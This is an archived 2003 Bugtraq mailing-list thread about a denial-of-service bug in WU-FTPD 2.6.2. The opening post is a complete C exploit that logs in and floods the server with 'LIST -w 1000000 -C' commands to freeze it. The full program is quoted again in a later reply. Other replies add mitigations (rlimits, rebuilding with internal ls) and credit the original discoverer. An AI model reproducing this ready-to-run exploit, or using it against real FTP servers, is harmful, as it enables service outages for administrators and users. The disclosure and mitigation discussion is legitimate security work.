10912272 2003-10-31 14:55 +0000 /123 rader/ Angelo Rosiello <angelo.rosiello@katamail.com> Importerad: 2003-10-31 18:07 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <29702> Ärende: WU-FTPD 2.6.2 Freezer ------------------------------------------------------------ From: Angelo Rosiello <angelo.rosiello@katamail.com> To: bugtraq@securityfocus.com Message-ID: <20031031145543.19772.qmail@sf-www3-symnsj.securityfocus.com> http://www.rosiello.org Vulnerabilities Section. /* * * http://www.rosiello.org * (c) Rosiello Security * * Copyright Rosiello Security 2003 * All Rights reserved. * * Tested on Red Hat 9.0 * * Author: Angelo Rosiello * Mail : angelo@rosiello.org * URL : http://www.rosiello.org * * This software is only for educational purpose. * Do not use it against machines different from yours. * Respect law. * */ #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> void addr_initialize( ); void usage( ); int main( int argc, char **argv ) { int i, sd, PORT, loop, error; char user[30], password[30], ch; struct sockaddr_in server_addr; fprintf( stdout, "\n(c) Rosiello Security 2003\n" ); fprintf( stdout, "http://www.rosiello.org\n" ); fprintf( stdout, "WU-FTPD 2.6.2 Freezer by Angelo Rosiello\n\n" ); if( argc != 6 ) usage( argv[0] ); if( strlen( argv[3] ) > 20 ) exit( 0 ); if( strlen( argv[4] ) > 20 ) exit( 0 ); sprintf( user, "USER %s\n", argv[3] ); sprintf( password, "PASS %s\n", argv[4] ); PORT = atoi( argv[2] ); loop = atoi( argv[5] ); addr_initialize( &server_addr, PORT, ( long )inet_addr( argv[1] )); sd = socket( AF_INET, SOCK_STREAM, 0 ); error = connect( sd, ( struct sockaddr * ) &server_addr, sizeof( server_addr )); if( error != 0 ) { perror( "Something wrong with the connection" ); exit( 0 ); } while ( ch != '\n' ) { recv( sd, &ch, 1, 0); printf("%c", ch ); } ch = '\0'; printf( "Connection executed, now waiting to log in...\n" ); printf( "%s", user ); send( sd, user, strlen( user ), 0 ); while ( ch != '\n' ) { recv( sd, &ch, 1, 0); printf("%c", ch ); } printf( "%s", password ); ch = '\0'; send( sd, password, strlen( password ), 0 ); while ( ch != '\n' ) { recv( sd, &ch, 1, 0); printf("%c", ch ); } printf( "Sending the DoS query\n" ); for( i=0; i<loop; i++ ) { write( sd, "LIST -w 1000000 -C\n", 19 ); } printf( "All done\n" ); close( sd ); return 0; } void addr_initialize (struct sockaddr_in *address, int port, long IPaddr) { address -> sin_family = AF_INET; address -> sin_port = htons((u_short)port); address -> sin_addr.s_addr = IPaddr; } void usage( char *program ) { fprintf(stdout, "USAGE: <%s> <IP> <PORT> <USER> <PASS> <LOOP>\n", program); exit(0); } (10912272) /Angelo Rosiello <angelo.rosiello@katamail.com>/(Ombruten) Kommentar i text 10913146 av Seth Arnold <sarnold@wirex.com> 10913146 2003-10-31 11:40 -0800 /19 rader/ Seth Arnold <sarnold@wirex.com> Importerad: 2003-10-31 22:57 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <29718> Kommentar till text 10912272 av Angelo Rosiello <angelo.rosiello@katamail.com> Ärende: Re: WU-FTPD 2.6.2 Freezer ------------------------------------------------------------ From: Seth Arnold <sarnold@wirex.com> To: bugtraq@securityfocus.com Message-ID: <20031031194044.GD27612@wirex.com> On Fri, Oct 31, 2003 at 02:55:43PM -0000, Angelo Rosiello wrote: > for( i=0; i<loop; i++ ) > { > write( sd, "LIST -w 1000000 -C\n", 19 ); > } It is probably worth pointing out that it is FSF ls(1) at fault here; wu-ftpd just provides a convenient way for potentially unauthenticated users to DoS the machine. If your OS supports rlimits (ulimit(3)), I believe they will provide reliable protection against this problem. -- http://www.immunix.com/ secure Linux distributions and appliances (10913146) /Seth Arnold <sarnold@wirex.com>/-------- Bilaga (application/pgp-signature) i text 10913147 Kommentar i text 10915839 av Luca Berra <bluca@comedia.it> 10913147 2003-10-31 11:40 -0800 /9 rader/ Seth Arnold <sarnold@wirex.com> Importerad: 2003-10-31 22:57 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <29719> Bilaga (application/pgp-signature) till text 10913146 Ärende: Bilaga till: Re: WU-FTPD 2.6.2 Freezer ------------------------------------------------------------ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE/orq8+9nuM9mwoJkRAgdOAJ9BKH1M6dHOB63SWQWdmJH9r4vMHgCgn5qx g3SVe+lkRu0sQVKiQQwSFhU= =IzZd -----END PGP SIGNATURE----- (10913147) /Seth Arnold <sarnold@wirex.com>/-------- 10915839 2003-11-01 15:47 +0100 /31 rader/ Luca Berra <bluca@comedia.it> Importerad: 2003-11-01 23:26 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <29724> Kommentar till text 10913146 av Seth Arnold <sarnold@wirex.com> Ärende: Re: WU-FTPD 2.6.2 Freezer ------------------------------------------------------------ From: Luca Berra <bluca@comedia.it> To: bugtraq@securityfocus.com Message-ID: <20031101144736.GG875@percy.comedia.it> On Fri, Oct 31, 2003 at 11:40:44AM -0800, Seth Arnold wrote: >On Fri, Oct 31, 2003 at 02:55:43PM -0000, Angelo Rosiello wrote: >> for( i=0; i<loop; i++ ) >> { >> write( sd, "LIST -w 1000000 -C\n", 19 ); >> } > >It is probably worth pointing out that it is FSF ls(1) at fault here; >wu-ftpd just provides a convenient way for potentially unauthenticated >users to DoS the machine. If your OS supports rlimits (ulimit(3)), I >believe they will provide reliable protection against this problem. it might be also worth noting that wu-ftpd can be rebuilt with internal ls code. regards, L. -- Luca Berra -- bluca@comedia.it Communication Media & Services S.r.l. /"\ \ / ASCII RIBBON CAMPAIGN X AGAINST HTML MAIL / \ (10915839) /Luca Berra <bluca@comedia.it>/(Ombruten) 10915912 2003-11-01 09:05 -0700 /248 rader/ Rossen Petrov <rpetrov@gmx.net> Importerad: 2003-11-01 23:36 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <29730> Ärende: Re: WU-FTPD 2.6.2 Freezer ------------------------------------------------------------ From: Rossen Petrov <rpetrov@gmx.net> To: bugtraq@securityfocus.com Message-ID: <6.0.0.22.2.20031101085553.01b7a860@mail.gmx.net> let's not forget to give credit where credit is due. the bug was discovered by Georgi Guninski and is documented in his 10/22/03 advisory at http://www.guninski.com/binls.html Rossen At 07:55 31.10.2003 you wrote: >http://www.rosiello.org > >Vulnerabilities Section. > > > > > >/* > >* > >* http://www.rosiello.org > >* (c) Rosiello Security > >* > >* Copyright Rosiello Security 2003 > >* All Rights reserved. > >* > >* Tested on Red Hat 9.0 > >* > >* Author: Angelo Rosiello > >* Mail : angelo@rosiello.org > >* URL : http://www.rosiello.org > >* > >* This software is only for educational purpose. > >* Do not use it against machines different from yours. > >* Respect law. > >* > >*/ > > > >#include <stdio.h> > >#include <sys/types.h> > >#include <sys/socket.h> > >#include <netinet/in.h> > >#include <string.h> > > > >void addr_initialize( ); > >void usage( ); > > > >int main( int argc, char **argv ) > >{ > > int i, sd, PORT, loop, error; > > char user[30], password[30], ch; > > struct sockaddr_in server_addr; > > > > fprintf( stdout, "\n(c) Rosiello Security 2003\n" ); > > fprintf( stdout, "http://www.rosiello.org\n" ); > > fprintf( stdout, "WU-FTPD 2.6.2 Freezer by Angelo Rosiello\n\n" ); > > > > if( argc != 6 ) usage( argv[0] ); > > > > if( strlen( argv[3] ) > 20 ) exit( 0 ); > > if( strlen( argv[4] ) > 20 ) exit( 0 ); > > > > sprintf( user, "USER %s\n", argv[3] ); > > sprintf( password, "PASS %s\n", argv[4] ); > > > > PORT = atoi( argv[2] ); > > loop = atoi( argv[5] ); > > > > addr_initialize( &server_addr, PORT, ( long )inet_addr( argv[1] )); > > sd = socket( AF_INET, SOCK_STREAM, 0 ); > > > > error = connect( sd, ( struct sockaddr * ) &server_addr, sizeof( > server_addr )); > > if( error != 0 ) > > { > > perror( "Something wrong with the connection" ); > > exit( 0 ); > > } > > > > while ( ch != '\n' ) > > { > > recv( sd, &ch, 1, 0); > > printf("%c", ch ); > > } > > > > ch = '\0'; > > > > printf( "Connection executed, now waiting to log in...\n" ); > > > > printf( "%s", user ); > > > > send( sd, user, strlen( user ), 0 ); > > while ( ch != '\n' ) > > { > > recv( sd, &ch, 1, 0); > > printf("%c", ch ); > > } > > printf( "%s", password ); > > > > ch = '\0'; > > > > send( sd, password, strlen( password ), 0 ); > > while ( ch != '\n' ) > > { > > recv( sd, &ch, 1, 0); > > printf("%c", ch ); > > } > > > > printf( "Sending the DoS query\n" ); > > for( i=0; i<loop; i++ ) > > { > > write( sd, "LIST -w 1000000 -C\n", 19 ); > > } > > printf( "All done\n" ); > > close( sd ); > > return 0; > >} > > > >void addr_initialize (struct sockaddr_in *address, int port, long IPaddr) > >{ > > address -> sin_family = AF_INET; > > address -> sin_port = htons((u_short)port); > > address -> sin_addr.s_addr = IPaddr; > >} > > > >void usage( char *program ) > >{ > > fprintf(stdout, "USAGE: <%s> <IP> <PORT> <USER> <PASS> <LOOP>\n", > program); > > exit(0); > >} (10915912) /Rossen Petrov <rpetrov@gmx.net>/(Ombruten)